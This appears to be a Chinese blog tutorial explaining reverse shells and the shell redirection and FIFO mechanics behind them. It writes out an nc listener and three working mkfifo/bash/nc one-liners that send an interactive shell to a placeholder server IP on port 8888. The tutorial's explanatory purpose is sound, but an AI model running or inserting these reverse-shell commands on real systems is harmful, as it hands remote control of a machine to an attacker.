目录

今天简单研究了一下什么是反弹shell以及怎么构造反弹shell,简单总结一下。

什么是反弹shell?

先说一下我是怎么理解反弹shell的。正常情况下从本地控制远程的一台机器可以通过远程登陆(比如ssh/telnet)从本地向远程的机器主动建立连接进行控制,就是说本地是client,远程被控机是server。反弹shell(也叫reverse shell)就是把方向反过来,从远程被控主机向本地建立连接,即远程被控机是client,本地是server。

ReverseShell

建立反弹shell

建立本地server

使用’nc’在本地建立server进行网络连接监听,本例子监听在8888端口上。

$ nc -lvp 8888

建立远程client

方法1: 在远程被控机上用nc建立client进行连接。

$ mkfifo /tmp/f
$ cat /tmp/f | bash -i 2>&1 | nc <Server IP> 8888 > /tmp/f
  1. ‘mkfifo /tmp/f’创建有名管道,有名管道可以通过文件的方式开放管道的两端,一端可以写另外一端读取写入的内容。
  2. ‘cat /tmp/f’读取有名管道中的内容,读取的内容通过管道’|‘写入’bash’
  3. ‘bash -i 2>&1’建立交互式shell,并把标准错误合并到标准输出,然后通过管道’|‘发给’nc’客户端
  4. ‘nc 8888 > /tmp/f’向server发起连接,并把从server端接收到的内容写入’/tmp/f’,注意,这些写到’/tmp/f’的内容又被上面步骤’2’读出来写会给shell

好吧,是不是有些绕?再捋一下,前面的那一串命令建立了一个连接,该连接通过’nc’与server端进行连接,server端的输入会被发送到client端的’nc’并写入’/tmp/f’,之后被’cat’读出来发给shell执行。shell的执行输出通过’nc’发给server。连接的图示如下:

示意图

方法2:在远程机上用建立连接

前面的方法1中不太简洁的地方是使用了‘cat’,那么能不能再简化一下呢?当然有!先画一张连接拓扑图。

示意图

建立方法命令如下:

mkfifo /tmp/f
bash -i 2>&1 < /tmp/f | nc <Server IP> 8888 > /tmp/f

方法3:

了解了上面的方法后不禁想问Client端的数据流反转是否可行?当然可以!还是看图说话。

示意图

建立连接方法如下:

mkfifo /tmp/f
nc <Server IP> 8888 < /tmp/f | bash -i  > /tmp/f 2>&1

其他话题

1. 啥是FIFO?

“FIFO”是Linux操作系统上面一种特殊的进程间通讯的手段,类似管道“PIPE”,相同之处:

  1. 都是进程间通讯的手段,可用于传递消息
  2. 都是“半双工单向”数据流模式

但不同之处在于:

  1. “PIPE”创建的管道存在于父/子进程之间,通常是fork()出来的父子进程间使用。
  2. “FIFO”有名管道顾名思义是有名字的,名字就是文件系统中创建出来的问题件,这样就可以支持不同的进程之间使用这个管道进行通信了。

想知道的更详细些可以阅读经典的《UNIX环境高级编程》。

2. 思考一下下面的两个命令有什么不同?

nc <Server IP> 8888 < /tmp/f | bash -i 2>&1 > /tmp/f

nc <Server IP> 8888 < /tmp/f | bash -i  > /tmp/f 2>&1

不同之处是“2>&1 > /tmp/f””> /tmp/f 2>&1”

”> /tmp/f 2>&1”可以正确将标准输出与标准错误合并后导入”/tmp/f”,而“2>&1 > /tmp/f”最终只把标准输出导入了”/tmp/f”,标准错误还是没有,那么是为什么呢?

先分析一下正常”> /tmp/f 2>&1”的执行过程。

  1. 先解析”> /tmp/f”的时候进程会把标准输出”1”定向到FIFO文件”/tmp/f”
  2. 再解析“2>&1”的时候,进程的标准错误“2”定向到了标准输出“1”对应的目标,由于此时“1”指向了”/tmp/f”,那么自然标准错误“2”也被定向到了这个FIFO文件。

再分析一下异常“2>&1 > /tmp/f”的执行过程。

  1. 首先“2>&1”在执行的时候是把进程的标准错误“2”定向到了标准输出“1”对应的目标,这个目标此时是进程执行的“终端”。
  2. 当解析到”> /tmp/f”的时候进程会把标准输出”1”定向到FIFO文件”/tmp/f”,而此时标准错误“2”还是指向前一步中定向的“终端”,因此造成了执行的问题。